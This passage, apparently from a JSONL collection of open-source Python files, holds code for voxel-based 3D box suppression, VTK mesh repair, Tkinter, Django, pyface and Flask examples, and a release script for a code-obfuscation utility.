box[sorted_gm].cuda()\n pi_sorted = pi[sorted_gm]\n bboxes = [0]\n\n # Normalize all vertices to [0,1]\n box_temp = box.view(-1, 3)\n min, _ = torch.min(box_temp, dim=0)\n box = (box - min)\n box_temp = box.view(-1, 3)\n max = torch.max(box_temp)\n box = box / max\n\n print(\"Generating voxels...\")\n origin = torch.zeros((1, 3)).cuda()\n scale = torch.ones((1)).cuda()\n vox_list = mesh2voxel(box, cuboid_faces(0), 30, origin, scale)\n vox_list = kal.ops.voxelgrid.fill(vox_list.cpu()).cuda()\n print(\"Voxels generated!\")\n\n # logs_path = './usd/'\n # timelapse = kal.visualize.Timelapse(logs_path)\n # timelapse.add_voxelgrid_batch(\n # iteration=0,\n # category='debug_all_voxel',\n # voxelgrid_list=all_vox # K x N x N x N\n # )\n\n for i in np.arange(1, len(vox_list)):\n vox_gt = vox_list[i]\n flag = 1\n # print(\"Testing instance\" + str(i))\n for j in range(len(bboxes)):\n\n vox_pred = vox_list[bboxes[j]]\n vox_union = torch.logical_or(vox_gt, vox_pred)\n\n vox_intersection = torch.logical_and(vox_gt, vox_pred)\n area_inter = torch.sum(vox_intersection)\n area_union = torch.sum(vox_union)\n IOU_3d = area_inter / area_union\n # print(\"Testing instance\" + str(i) + \", IOU_3d = \"+ str(IOU_3d))\n\n logs_path = './usd/'\n timelapse = kal.visualize.Timelapse(logs_path)\n # timelapse.add_voxelgrid_batch(\n # iteration=0,\n # category='debug_voxel_union',\n # voxelgrid_list=[vox_union.squeeze()] # K x N x N x N\n # )\n\n # timelapse.add_voxelgrid_batch(\n # iteration=0,\n # category='debug_voxel_gt',\n # voxelgrid_list=[vox_gt.squeeze()] # K x N x N x N\n # )\n\n # timelapse.add_voxelgrid_batch(\n # iteration=0,\n # category='debug_voxel_pred',\n # voxelgrid_list=[vox_pred.squeeze()] # K x N x N x N\n # )\n # plot_box([box[bboxes[j]].cpu().numpy(), box[i].cpu().numpy()])\n\n if IOU_3d > nms_th or pi_sorted[bboxes[j]] < conf_th:\n flag = -1\n break\n if flag == 1:\n bboxes.append(i)\n\n sorted_bboxes = np.asarray(bboxes, np.int32)\n # print(\"######final bboxe######: \", sorted_bboxes.shape[0])\n # plot_box(box[sorted_bboxes].cpu().numpy())\n true_bboxes = sorted_gm[sorted_bboxes]\n SVD['U'] = SVD['U'][true_bboxes]\n SVD['s'] = SVD['s'][true_bboxes]\n SVD['V'] = SVD['V'][true_bboxes]\n\n return pi[true_bboxes], mu[true_bboxes], cov[true_bboxes], SVD\n\n# 3D-IoU-Python: https://github.com/AlienCat-K/3D-IoU-Python.git\n ", "source": "haohlin/pointgmm-primitive-detection", "license": "MIT"}
+{"text": "from math import floor\nfrom math import ceil\n\nhours_needed = int(input())\ndays_for_work = int(input())\novertime_workers = int(input())\nnormal_shift = 8\n\nlearn_time = days_for_work - days_for_work * 10 / 100\nhours_for_work = learn_time * normal_shift\novertime = overtime_workers * (2 * days_for_work)\nall_time = hours_for_work + overtime\n\nif hours_needed <= all_time:\n time_left = hours_needed - floor(all_time)\n print(f\"Yes!{abs(time_left)} hours left.\")\nelif hours_needed > all_time:\n time_needed = all_time - hours_needed\n print(f\"Not enough time!{ceil(abs(time_needed))} hours needed.\")", "source": "Rohitm619/Softuni-Python-Basic", "license": "MIT"}
+{"text": "import Tkinter as tk\n\n\nclass App:\n def __init__(self):\n self.root=tk.Tk()\n self.vsb = tk.Scrollbar(orient=\"vertical\", command=self.OnVsb)\n self.lb1 = tk.Listbox(self.root, yscrollcommand=self.vsb.set)\n self.lb2 = tk.Listbox(self.root, yscrollcommand=self.vsb.set)\n self.vsb.pack(side=\"right\",fill=\"y\")\n self.lb1.pack(side=\"left\",fill=\"x\", expand=True)\n self.lb2.pack(side=\"left\",fill=\"x\", expand=True)\n self.lb1.bind(\"\", self.OnMouseWheel)\n self.lb2.bind(\"\", self.OnMouseWheel)\n for i in range(100):\n self.lb1.insert(\"end\",\"item %s\" % i)\n self.lb2.insert(\"end\",\"item %s\" % i)\n self.root.mainloop()\n\n def OnVsb(self, *args):\n self.lb1.yview(*args)\n self.lb2.yview(*args)\n\n def OnMouseWheel(self, event):\n self.lb1.yview(\"scroll\", event.delta,\"units\")\n self.lb2.yview(\"scroll\",event.delta,\"units\")\n # this prevents default bindings from firing, which\n # would end up scrolling the widget twice\n return \"break\"\n\n\nfrom Tkinter import *\n\nmaster = Tk()\n\nscrollbar = Scrollbar(master)\nscrollbar.pack(side=RIGHT, fill=Y)\n\nlistbox = Listbox(master, yscrollcommand=scrollbar.set)\nfor i in range(1000):\n listbox.insert(END, str(i))\nlistbox.pack(side=LEFT, fill=BOTH)\n\nscrollbar.config(command=listbox.yview)\n\nmainloop()\n\n# app=App()", "source": "pavitsu/pavit-bank-reconciliation", "license": "MIT"}
+{"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport numpy as np\nimport optparse\nimport os\nimport re\nimport sys\nimport vtk\nfrom multiprocessing import Process\n\nimport parse_imx\n\nRADIUS = 3 # For Open and Gauss\nSCALE = 50.0 # For Rasterization\n\n\nclass RepairMeshParser(optparse.OptionParser):\n def __init__(self):\n optparse.OptionParser.__init__(self)\n\n self.add_option(\"-a\", \"--areas\", dest=\"areas_file\",\n help=\"The output areas file in csv\", metavar=\"FILE\")\n self.add_option(\"-i\", \"--input-vrml\", dest=\"input_vrml\",\n help=\"The mesh to de repaired in vrml file format\", metavar=\"FILE\")\n self.add_option(\"-d\", \"--auto-dir\", dest=\"vrmls_dir\",\n help=\"A directory with a bunch of vrmls\", metavar=\"FILE\")\n self.add_option(\"-o\", \"--output-dir\", dest=\"output_dir\",\n help=\"The output dir ussed when provides a dir as input\", metavar=\"FILE\")\n self.add_option(\"-s\", \"--scale-factor\", dest=\"scale\", default=50.0,\n help=\"Tehe scale factor used in the rasterization\")\n self.add_option(\"-c\", \"--combine\", action=\"store_true\", dest=\"combine\",\n help=\"Combine all polydatas in one object\")\n\n\ndef write_image(image, filename):\n \"\"\"Write vtk image data to file.\"\"\"\n aWriter = vtk.vtkMetaImageWriter()\n aWriter.SetInputData(image)\n aWriter.SetFileName(filename)\n aWriter.SetFileDimensionality(3)\n aWriter.SetCompression(False)\n aWriter.Write()\n\n\ndef voxelizer(polydata, scale=SCALE, radius=RADIUS):\n \"\"\" volume voxelization not anti-aliased \"\"\"\n\n # Get selection boundaries.\n (minX, maxX, minY, maxY, minZ, maxZ) = [int(x * scale) for x in\n polydata.GetBounds()] # convert tuple of floats to ints\n\n # print(\" Selection bounds are %s\" % str((minX, maxX, minY, maxY, minZ, maxZ))) # dimensions of the resulting image\n # print(\" Dimensions: %s\" % str((maxX - minX, maxY - minY, maxZ - minZ)))\n\n padd = radius + 6\n (minX, maxX, minY, maxY, minZ, maxZ) = (\n minX - padd, maxX + padd, minY - padd, maxY + padd, minZ - padd, maxZ + padd)\n\n ps1 = 1.0 / float(scale) # pixel size for the stencil, make sure it's a float division!\n ps2 = 1.0 # pixel size for the image\n\n ## Convert a surface mesh into an image stencil that can be used to mask an image with vtkImageStencil.\n polyToStencilFilter = vtk.vtkPolyDataToImageStencil()\n polyToStencilFilter.SetInputData(polydata)\n polyToStencilFilter.SetOutputWholeExtent(minX, maxX, minY, maxY, minZ, maxZ)\n polyToStencilFilter.SetOutputSpacing(ps1, ps1, ps1)\n polyToStencilFilter.SetOutputOrigin(0.0, 0.0, 0.0)\n polyToStencilFilter.Update()\n\n # Create an empty (3D) image of appropriate size.\n image = vtk.vtkImageData()\n image.SetSpacing(ps2, ps2, ps2)\n image.SetOrigin(0.0, 0.0, 0.0)\n image.SetExtent(minX, maxX, minY, maxY, minZ, maxZ)\n image.AllocateScalars(vtk.VTK_UNSIGNED_CHAR, 1)\n\n # Mask the empty image with the image stencil.\n # First All the background to 0\n # Needed otherwise introduces noise\n stencil = vtk.vtkImageStencil()\n stencil.SetInputData(image)\n stencil.SetStencilData(polyToStencilFilter.GetOutput())\n stencil.ReverseStencilOff()\n stencil.SetBackgroundValue(0)\n stencil.Update()\n\n # Foreground to 255\n stencil2 = vtk.vtkImageStencil()\n stencil2.SetInputData(stencil.GetOutput())\n stencil2.SetStencilData(polyToStencilFilter.GetOutput())\n stencil2.ReverseStencilOn()\n stencil2.SetBackgroundValue(255)\n\n stencil2.Update()\n finishImage = stencil2.GetOutput()\n print(finishImage.GetNumberOfCells())\n return stencil2.GetOutput()\n\n\ndef axisAligment(actor):\n polyData = actor.GetMapper().GetInput()\n centerCalculer = vtk.vtkCenterOfMass()\n centerCalculer.SetInputData(polyData)\n centerCalculer.SetUseScalarsAsWeights(False)\n centerCalculer.Update()\n center = centerCalculer.GetCenter()\n print(center)\n\n centerTransform = vtk.vtkTransform()\n centerTransform.Translate(-center[0], -center[1], -center[2])\n\n transformFilter = vtk.vtkTransformFilter()\n transformFilter.SetInputData(polyData)\n transformFilter.SetTransform(centerTransform)\n transformFilter.Update()\n\n mapper = vtk.vtkPolyDataMapper()\n mapper.SetInputData(transformFilter.GetOutput())\n mapper.Update()\n actor.SetMapper(mapper)\n\n polyData = actor.GetMapper().GetInput()\n\n centerCalculer = vtk.vtkCenterOfMass()\n centerCalculer.SetInputData(polyData)\n centerCalculer.SetUseScalarsAsWeights(False)\n centerCalculer.Update()\n centerAux = centerCalculer.GetCenter()\n print(centerAux)\n\n pointsMatrixAux = []\n\n for i in range(0, polyData.GetNumberOfPoints()):\n point = polyData.GetPoint(i)\n pointsMatrixAux.append(point)\n\n pointMatrix = np.matrix(pointsMatrixAux)\n pointMatrixT = pointMatrix.transpose()\n covarianzeMatrix = pointMatrixT * pointMatrix\n u, s, vh = np.linalg.svd(covarianzeMatrix, full_matrices=True)\n\n rotationMatrix = vtk.vtkMatrix4x4()\n\n for i in range(3):\n for j in range(3):\n rotationMatrix.SetElement(i, j, u[i, j])\n rotationMatrix.SetElement(i, 3, 0)\n\n for i in range(3):\n rotationMatrix.SetElement(3, i, 0)\n\n rotationMatrix.SetElement(3, 3, 1)\n\n rotationTransform = vtk.vtkTransform()\n rotationTransform.SetMatrix(rotationMatrix)\n\n transformFilter = vtk.vtkTransformFilter()\n transformFilter.SetInputData(actor.GetMapper().GetInput())\n transformFilter.SetTransform(rotationTransform)\n transformFilter.Update()\n\n mapper = vtk.vtkPolyDataMapper()\n mapper.SetInputData(transformFilter.GetOutput())\n actor.SetMapper(mapper)\n\n return center, rotationTransform\n\n\ndef open_image(image, radius):\n openFilter = vtk.vtkImageDilateErode3D()\n openFilter.SetDilateValue(255)\n openFilter.SetErodeValue(0)\n openFilter.SetKernelSize(radius, radius, radius)\n openFilter.SetInputData(image)\n openFilter.Update()\n return openFilter.GetOutput()\n\n\ndef dump_voxels(actor, filename):\n poly = actor.GetMapper().GetInput()\n pre_image = voxelizer(poly, 50)\n image = open_image(pre_image, RADIUS)\n write_image(image, filename)\n\n\ndef open_actor(actor, actor_index=0, scale=SCALE, radius=RADIUS):\n poly = actor.GetMapper().GetInput()\n pre_image = voxelizer(poly, scale)\n opened_image = open_image(pre_image, radius)\n\n gauss = vtk.vtkImageGaussianSmooth()\n gauss.SetDimensionality(3)\n gauss.SetStandardDeviation(radius, radius, radius)\n gauss.SetInputData(opened_image)\n gauss.Update()\n\n image_to_contour = gauss.GetOutput()\n\n contour = vtk.vtkMarchingCubes()\n contour.SetInputData(image_to_contour)\n contour.SetValue(0, 127.5)\n contour.ComputeScalarsOff()\n contour.Update()\n\n repared_poly = contour.GetOutput()\n\n if repared_poly.GetNumberOfCells() == 0:\n print(\"ERROR: number_of_cells = 0\", end=' ')\n # write_image(image_to_contour, \"/tmp/%d.mhd\"%actor_index)\n raise ValueError(\"ERROR: number_of_cells = 0\")\n\n # (minX, maxX, minY, maxY, minZ, maxZ) = [int(x) for x in repared_poly.GetBounds()] #convert tuple of floats to ints\n # print \" Repared bounds are %s\"%str((minX, maxX, minY, maxY, minZ, maxZ)) #dimensions of the resulting image\n # print \" Dimensions: %s\"%str((maxX - minX, maxY - minY, maxZ - minZ))\n\n actor.GetMapper().SetInputData(repared_poly)\n\n\ndef compute_area(actor):\n polydata = actor.GetMapper().GetInput()\n number_of_cells = polydata.GetNumberOfCells()\n area = 0\n for i in range(number_of_cells):\n area += vtk.vtkMeshQuality.TriangleArea(polydata.GetCell(i))\n\n return area\n\n\ndef combine_actors(actors_list):\n appender = vtk.vtkAppendPolyData()\n for actor in actors_list:\n poly = actor.GetMapper().GetInput()\n appender.AddInput(poly)\n appender.Update()\n combined_poly = appender.GetOutput()\n combined_actor = vtk.vtkActor()\n combined_actor.SetMapper(vtk.vtkPolyDataMapper())\n combined_actor.GetMapper().SetInputData(combined_poly)\n return combined_actor\n\n\ndef show_actor(actor, ren, rw):\n ren.RemoveAllViewProps()\n ren.AddActor(actor)\n ren.ResetCamera()\n rw.Render()\n\n\ndef compute_all_areas(actors_list, scale=SCALE):\n areas = []\n for i, actor in enumerate(actors_list):\n # scale = SCALE\n sys.stdout.write(\"%d \" % i)\n area_pre = compute_area(actor)\n try:\n open_actor(actor, i, scale)\n except ValueError as e:\n # [KNOWN BUG] The sizes are corrected, but not the position\n scale = scale * 2\n open_actor(actor, i, scale)\n area_post = compute_area(actor) / scale ** 2\n\n areas.append((i, area_pre, area_post, area_post / area_pre))\n sys.stdout.flush()\n print(\"\\n\")\n return areas\n\n\ndef compute_centroids(actors_list):\n return [a.GetCenter() for a in actors_list]\n\n\ndef csv_areas(actors_list, filename, scale=SCALE, names=None):\n centroids = compute_centroids(actors_list) # Centroids of original actors\n print(\n \"-------- Repairing original mesh and Calculating areas (This process might take a long time, please wait) -----------\")\n areas = compute_all_areas(actors_list, scale)\n print(\"-------- Saving CSV file -----------\")\n if names is not None:\n csv = \"Object,Pre_Area,Post_Area,Post/Pre,X,Y,Z,Name\\n\"\n for i in range(len(areas)):\n data = []\n data.extend(areas[i])\n data.extend(centroids[i])\n data.append(names[i])\n csv += \"%d,%f,%f,%f,%f,%f,%f,%s\\n\" % tuple(data)\n else:\n csv = \"Object,Pre_Area,Post_Area,Post/Pre,X,Y,Z\\n\"\n for i in range(len(areas)):\n data = []\n data.extend(areas[i])\n data.extend(centroids[i])\n csv += \"%d,%f,%f,%f,%f,%f,%f\\n\" % tuple(data)\n\n with open(filename, 'w') as f:\n f.write(csv)\n\n\ndef underScale(actor, scale):\n transform = vtk.vtkTransform()\n relation = float(1) / float(scale)\n transform.Scale(relation, relation, relation)\n\n transformFilter = vtk.vtkTransformFilter()\n transformFilter.SetInputData(actor.GetMapper().GetInput())\n transformFilter.SetTransform(transform)\n\n mapper = vtk.vtkPolyDataMapper()\n mapper.SetInputConnection(transformFilter.GetOutputPort())\n mapper.Update()\n actor.SetMapper(mapper)\n return actor\n\n\ndef reduceMesh(actor, reduction):\n decimate = vtk.vtkDecimatePro()\n decimate.SetInputData(actor.GetMapper().GetInput())\n decimate.SetTargetReduction(reduction / 100)\n decimate.Update()\n\n decimateMapper = vtk.vtkPolyDataMapper()\n decimateMapper.SetInputConnection(decimate.GetOutputPort())\n decimateMapper.Update()\n actor.SetMapper(decimateMapper)\n return actor\n\n\n# Only for future versions of VTK, at the moment is a beta feature\ndef save_obj(rw, dir, name):\n exporter = vtk.vtkOBJExporter()\n if not os.path.isdir(dir):\n os.makedirs(dir)\n\n path = \"%s/%s\" % (dir, name)\n exporter.SetFilePrefix(path)\n exporter.SetRenderWindow(rw)\n exporter.Write()\n\n\ndef save_stl(polydata, dir, name):\n exporter = vtk.vtkSTLWriter()\n if not os.path.isdir(dir):\n os.makedirs(dir)\n\n path = '%s/%s.stl' % (dir, name)\n exporter.SetFileName(path)\n exporter.SetInputData(polydata)\n exporter.Write()\n\n\ndef save_vrml(name, dir, rw):\n if not os.path.isdir(dir):\n os.makedirs(dir)\n\n path = '%s/%s.vrml' % (dir, name)\n rw.Render()\n exporter = vtk.vtkVRMLExporter()\n exporter.SetFileName(path)\n exporter.SetRenderWindow(rw)\n rw.Render()\n exporter.Write()\n\n\ndef initActorForExport(actor, rw, scale, reduction):\n ren = rw.GetRenderers().GetFirstRenderer()\n actor = underScale(actor, scale)\n actor = reduceMesh(actor, reduction)\n ren.AddActor(actor)\n\n\ndef toOriginalPos(actor, center, rotationTransform):\n rotMat = vtk.vtkMatrix4x4()\n rotationTransform.GetTranspose(rotMat)\n rotTrans = vtk.vtkTransform()\n rotTrans.SetMatrix(rotMat)\n\n transformFilter = vtk.vtkTransformFilter()\n transformFilter.SetInputData(actor.GetMapper().GetInput())\n transformFilter.SetTransform(rotTrans)\n transformFilter.Update()\n\n mapper = vtk.vtkPolyDataMapper()\n mapper.SetInputConnection(transformFilter.GetOutputPort())\n mapper.Update()\n actor.SetMapper(mapper)\n\n centerTransform = vtk.vtkTransform()\n centerTransform.Translate(center[0], center[1], center[2])\n\n transformFilter = vtk.vtkTransformFilter()\n transformFilter.SetInputData(actor.GetMapper().GetInput())\n transformFilter.SetTransform(centerTransform)\n transformFilter.Update()\n\n mapper = vtk.vtkPolyDataMapper()\n mapper.SetInputConnection(transformFilter.GetOutputPort())\n mapper.Update()\n actor.SetMapper(mapper)\n\n centerCalculer = vtk.vtkCenterOfMass()\n centerCalculer.SetInputData(actor.GetMapper().GetInput())\n centerCalculer.SetUseScalarsAsWeights(False)\n centerCalculer.Update()\n center = centerCalculer.GetCenter()\n print(center)\n\n\ndef main(input_filename, areas_filename, scale, is_imx, exportPath=None, exportType=False, reduction=70, radius=RADIUS,\n combine=False):\n # TODO: The following doesn't hide the RenderWindow :/\n # factGraphics = vtk.vtkGraphicsFactory()\n # factGraphics.SetUseMesaClasses(1)\n # factImage = vtk.vtkImagingFactory()\n # factImage.SetUseMesaClasses(1)\n\n if exportPath is None:\n pos = areas_filename.rfind(\"/\")\n filename = os.path.splitext(input_filename)[0]\n posFilename = filename.rfind(\"/\")\n exportPath = areas_filename[:pos] + \"/Meshes\" + filename[posFilename:]\n else:\n filename = os.path.splitext(input_filename)[0]\n pos = filename.rfind(\"/\")\n if pos == -1:\n exportPath += \"/\"\n\n exportPath += filename[pos:]\n\n print(exportPath)\n if is_imx:\n vrml_filename = os.path.splitext(input_filename)[0] + \".vrml\"\n names_filename = os.path.splitext(input_filename)[0] + \".names\"\n args = [\"{}\".format(input_filename), \"{}\".format(vrml_filename), \"{}\".format(names_filename)]\n p = Process(target=parse_imx.main, args=[args])\n p.start()\n p.join()\n\n names_list = []\n with open(names_filename) as f:\n for line in f:\n line = re.sub(r'\\n', '', line)\n names_list.append(line)\n else:\n vrml_filename = input_filename\n names_list = None\n\n rw = vtk.vtkRenderWindow()\n rwi = vtk.vtkRenderWindowInteractor()\n rwi.SetRenderWindow(rw)\n # rw.OffScreenRenderingOn()\n\n importer = vtk.vtkVRMLImporter()\n importer.SetFileName(vrml_filename)\n # importer = vtk.vtk3DSImporter()\n # importer.SetFileName(\"cube.3ds\")\n importer.Read()\n importer.SetRenderWindow(rw)\n importer.Update()\n\n rw.Render()\n\n ren = importer.GetRenderer()\n actors = ren.GetActors()\n actors.InitTraversal()\n\n rwExport = vtk.vtkRenderWindow()\n # rwExport.OffScreenRenderingOn()\n renExport = vtk.vtkRenderer()\n rwExport.AddRenderer(renExport)\n\n rwExport.Render()\n\n if is_imx:\n csv = \"Object,Pre_Area,Post_Area,Post/Pre,X,Y,Z,Name\\n\"\n else:\n csv = \"Object,Pre_Area,Post_Area,Post/Pre,X,Y,Z\\n\"\n\n print(\n \"-------- Repairing original mesh and Calculating areas (This process might take a long time, please wait) -----------\")\n for i in range(ren.GetNumberOfPropsRendered()):\n sys.stdout.write(\"%d _\" % i)\n actor = actors.GetNextActor()\n polydata = actor.GetMapper().GetInput()\n polydataCopy = vtk.vtkPolyData()\n polydataCopy.DeepCopy(polydata)\n area_pre = compute_area(actor)\n centroid = actor.GetCenter()\n rescaled = False\n try:\n rw.Render()\n (center, rotation) = axisAligment(actor)\n rw.Render()\n open_actor(actor, i, scale, radius)\n\n except ValueError as e:\n # [KNOWN BUG] The sizes are corrected, but not the position\n scale = scale * 2\n open_actor(actor, i, scale, radius)\n rescaled = True\n area_post = compute_area(actor) / scale ** 2\n\n if is_imx:\n data = []\n data.extend([i, area_pre, area_post, area_post / area_pre])\n data.extend(centroid)\n data.append(names_list[i])\n csv += \"%d,%f,%f,%f,%f,%f,%f,%s\\n\" % tuple(data)\n\n else:\n data = []\n data.extend([i, area_pre, area_post, area_post / area_pre])\n data.extend(centroid)\n csv += \"%d,%f,%f,%f,%f,%f,%f\\n\" % tuple(data)\n\n if exportType != \"None\":\n initActorForExport(actor, rwExport, scale, reduction)\n toOriginalPos(actor, center, rotation)\n if names_list is not None:\n name = names_list[i]\n else:\n name = i\n\n if exportType == \"Stl\":\n save_stl(actor.GetMapper().GetInput(), exportPath, str(name) + \"_R\")\n save_stl(polydataCopy, exportPath, str(name) + \"_O\")\n renExport.RemoveActor(actor)\n elif exportType == \"Vrml\":\n save_vrml(str(name) + \"_R\", exportPath, rwExport)\n renExport.RemoveActor(actor)\n actorOld = vtk.vtkActor()\n mapper = vtk.vtkPolyDataMapper()\n mapper.SetInputData(polydataCopy)\n actorOld.SetMapper(mapper)\n renExport.AddActor(actorOld)\n save_vrml(str(name) + \"_O\", exportPath, rwExport)\n renExport.RemoveActor(actorOld)\n elif exportType == \"Obj\":\n save_obj(rwExport, exportPath, str(name) + \"_R\")\n renExport.RemoveActor(actor)\n actorOld = vtk.vtkActor()\n mapper = vtk.vtkPolyDataMapper()\n mapper.SetInputData(polydataCopy)\n actorOld.SetMapper(mapper)\n renExport.AddActor(actorOld)\n save_obj(rwExport, exportPath, str(name) + \"_O\")\n renExport.RemoveActor(actorOld)\n\n ren.RemoveActor(actor)\n if rescaled:\n scale /= 2\n\n with open(areas_filename, 'w') as f:\n f.write(csv)\n if is_imx:\n os.remove(vrml_filename)\n os.remove(names_filename)\n\n rw.Finalize()\n print(\"\")\n", "source": "vg-lab/MeshReconstruct", "license": "MIT"}
+{"text": "from django.apps import AppConfig\n\n\nclass ExoticsConfig(AppConfig):\n name = 'exotics'\n", "source": "kngeno/telelbirds", "license": "MIT"}
+{"text": "#------------------------------------------------------------------------------\n# Copyright (c) 2007, Riverbank Computing Limited\n# All rights reserved.\n#\n# This software is provided without warranty under the terms of the BSD license.\n# However, when used with the GPL version of PyQt the additional terms described in the PyQt GPL exception also apply\n\n#\n# Author: Riverbank Computing Limited\n# Description: \n#------------------------------------------------------------------------------\n\n\n# Standard library imports.\nfrom logging import DEBUG\n\n# Major package imports.\nfrom pyface.qt import QtCore, QtGui\n\n# Enthought library imports.\nfrom traits.api import Any, Bool, Font, Instance, Int, provides\nfrom traits.api import Tuple, Unicode\n\n# Local imports.\nfrom pyface.i_splash_screen import ISplashScreen, MSplashScreen\nfrom pyface.image_resource import ImageResource\nfrom .window import Window\n\n\n@provides(ISplashScreen)\nclass SplashScreen(MSplashScreen, Window):\n \"\"\" The toolkit specific implementation of a SplashScreen. See the\n ISplashScreen interface for the API documentation.\n \"\"\"\n\n\n #### 'ISplashScreen' interface ############################################\n\n image = Instance(ImageResource, ImageResource('splash'))\n\n log_level = Int(DEBUG)\n\n show_log_messages = Bool(True)\n\n text = Unicode\n\n text_color = Any\n\n text_font = Any\n\n text_location = Tuple(5, 5)\n\n ###########################################################################\n # Protected 'IWidget' interface.\n ###########################################################################\n\n def _create_control(self, parent):\n splash_screen = QtGui.QSplashScreen(self.image.create_image())\n self._qt4_show_message(splash_screen)\n\n return splash_screen\n\n ###########################################################################\n # Private interface.\n ###########################################################################\n\n def _text_changed(self):\n \"\"\" Called when the splash screen text has been changed. \"\"\"\n\n if self.control is not None:\n self._qt4_show_message(self.control)\n\n def _qt4_show_message(self, control):\n \"\"\" Set the message text for a splash screen control. \"\"\"\n\n if self.text_font is not None:\n control.setFont(self.text_font)\n\n if self.text_color is None:\n text_color = QtCore.Qt.black\n else:\n # Until we get the type of this trait finalised (ie. when TraitsUI\n # supports PyQt) convert it explcitly to a colour.\n text_color = QtGui.QColor(self.text_color)\n\n control.showMessage(self.text, QtCore.Qt.AlignLeft, text_color)\n\n#### EOF ######################################################################\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"}
+{"text": "from flask import Flask,render_template as render, request \nfrom models import *\n\n\n\napp = Flask(__name__,template_folder='./templates')\n\n\n@app.route('/GETPage',methods = ['GET'])\ndef Gpage():\n return f\"You have landed on the page which allows the {request.method} method.\"\n\n@app.route('/POSTPage', methods = ['GET','POST'])\ndef Ppage():\n if request.method == \"POST\":\n WriteModelJson(dict(zip(dict(request.form).keys(), dict(request.form).values())))\n return render('SuccessPage.html')\n else:\n return render('form.html')\n\n@app.route('/MultiMethodPage', methods = ['GET','PUT','PATCH', 'DELETE'])\ndef MethodsPage():\n import json\n if request.method == \"DELETE\":\n data = json.loads(request.data)\n message = DeleteJsonModel(data)\n return f\"The Method used was: {request.method}\\n {message}\"\n \n elif request.method == 'PUT': \n data = json.loads(request.data)\n message = PutModelJson(data)\n return f\"The Method used was: {request.method}\\n {message}\"\n\n elif request.method == 'PATCH':\n message = PatchModelJson(json.loads(request.data))\n return f\"The Method used was: {request.method}\\n {message}\"\n\n\n \n return \"This page/URL supports PUT,PATCH and DELETE Methods. Use Postman to send in requests. \"\n\nif __name__ == \"__main__\":\n app.run()\n", "source": "AbhijithGanesh/Flask-HTTP-Server", "license": "BSD-3-Clause"}
+{"text": "#! /usr/bin/env python\n\nimport sys\nimport os\nimport extargsparse\nimport re\nimport time\n\n##importdebugstart\nsys.path.append(os.path.abspath(os.path.dirname(__file__)))\nfrom strparser import *\nfrom filehdl import *\nfrom fmthdl import *\nfrom extract_ob import *\nfrom obmaklib import *\n##importdebugend\n\nREPLACE_IMPORT_LIB=1\n\nREPLACE_STR_PARSER=1\nREPLACE_FILE_HDL=1\nREPLACE_FMT_HDL=1\nREPLACE_EXTRACT_OB=1\nREPLACE_OBMAK_LIB=1\n\n\ndef main():\n commandline='''\n {\n \"verbose|v\" : \"+\",\n \"version|V\" : false,\n \"dump|D\" : \"obcode.json\",\n \"benchmark|B\" : false,\n \"makob##srcfile to give the other code file ,this need environment variable MAKOB_FILE to get the default (makob.json)##\" : {\n \"namemin\" : 5,\n \"namemax\" : 20,\n \"$\" : \"+\"\n },\n \"unmakob##dstfile to give the origin ,this need environment variable MAKOB_FILE to get the default (makob.json)##\" : {\n \"short\" : false,\n \"$\" : \"+\"\n },\n \"basename##to make basename##\" : {\n \"$\" : \"+\"\n },\n \"obtrans##translate the srcdir to dstdir in makob file##\" : {\n \"srcdir\" : \"\",\n \"dstdir\" : \"\",\n \"$\" : \"+\"\n },\n \"oblist##to list files ob files##\" : {\n \"$\" : \"*\"\n },\n \"obuntrans##inputfile [outputfile] to trans file from MAKOB_FILE##\" : {\n \"$\" : \"+\"\n },\n \"obunfunc##inputfile;outfile;funcs... to set obfuncs##\" : {\n \"$\" : \"+\"\n }\n }\n '''\n d = dict()\n d['version'] = \"VERSION_RELACE_STRING\"\n options = extargsparse.ExtArgsOptions(d)\n stime = time.time()\n parser = extargsparse.ExtArgsParse(options)\n parser.load_command_line_string(commandline)\n args = parser.parse_command_line(None,parser)\n if args.version:\n sys.stdout.write('%s\\n'%(options.version))\n sys.exit(0)\n if args.benchmark:\n etime = time.time()\n sys.stderr.write('run %s time %s second\\n'%(sys.argv[1:],etime - stime))\n return\n\n##importdebugstart\nfrom obrelease import *\nimport re\n\ndef debug_release():\n if '-v' in sys.argv[1:]:\n #sys.stderr.write('will make verbose\\n')\n loglvl = logging.DEBUG\n if logging.root is not None and len(logging.root.handlers) > 0:\n logging.root.handlers = []\n logging.basicConfig(level=loglvl,format='%(asctime)s:%(filename)s:%(funcName)s:%(lineno)d\\t%(message)s')\n topdir = os.path.abspath(os.path.join(os.path.dirname(__file__),'..'))\n tofile= os.path.abspath(os.path.join(topdir,'obmak.py'))\n curdir = os.path.abspath(os.path.dirname(__file__))\n rlfiles = ReleaseFiles(__file__)\n rlfiles.add_python_file(os.path.abspath(os.path.join(curdir,'strparser.py')),r'REPLACE_STR_PARSER=1')\n rlfiles.add_python_file(os.path.abspath(os.path.join(curdir,'fmthdl.py')),r'REPLACE_FMT_HDL=1')\n rlfiles.add_python_file(os.path.abspath(os.path.join(curdir,'filehdl.py')),r'REPLACE_FILE_HDL=1')\n rlfiles.add_python_file(os.path.abspath(os.path.join(curdir,'obmaklib.py')),r'REPLACE_OBMAK_LIB=1')\n rlfiles.add_python_file(os.path.abspath(os.path.join(curdir,'extract_ob.py')),r'REPLACE_EXTRACT_OB=1')\n if len(sys.argv) > 2:\n for k in sys.argv[1:]:\n if not k.startswith('-'):\n tofile = k\n break\n versionfile = os.path.abspath(os.path.join(topdir,'VERSION'))\n if not os.path.exists(versionfile):\n raise Exception('can not find VERSION file')\n with open(versionfile,'r') as f:\n for l in f:\n l = l.rstrip('\\r\\n')\n vernum = l\n break\n #logging.info('str_c\\n%s'%(strparser_c))\n sarr = re.split('\\.',vernum)\n if len(sarr) != 3:\n raise Exception('version (%s) not format x.x.x'%(vernum))\n VERSIONNUMBER = vernum\n import_rets = fromat_ext_import_files(__file__,rlfiles.get_includes())\n logging.info('import_rets\\n%s'%(import_rets))\n rlfiles.add_repls(r'VERSION_RELACE_STRING',VERSIONNUMBER)\n rlfiles.add_repls(r'debug_main','main')\n rlfiles.add_repls(r'REPLACE_IMPORT_LIB=1',make_string_slash_ok(import_rets))\n #logging.info('repls %s'%(repls.keys()))\n disttools.release_file('__main__',tofile,[],[[r'##importdebugstart.*',r'##importdebugend.*']],[],rlfiles.get_repls())\n return\n\ndef debug_main():\n if '--release' in sys.argv[1:]:\n debug_release()\n return\n main()\n return\n\n##importdebugend\n\nif __name__ == 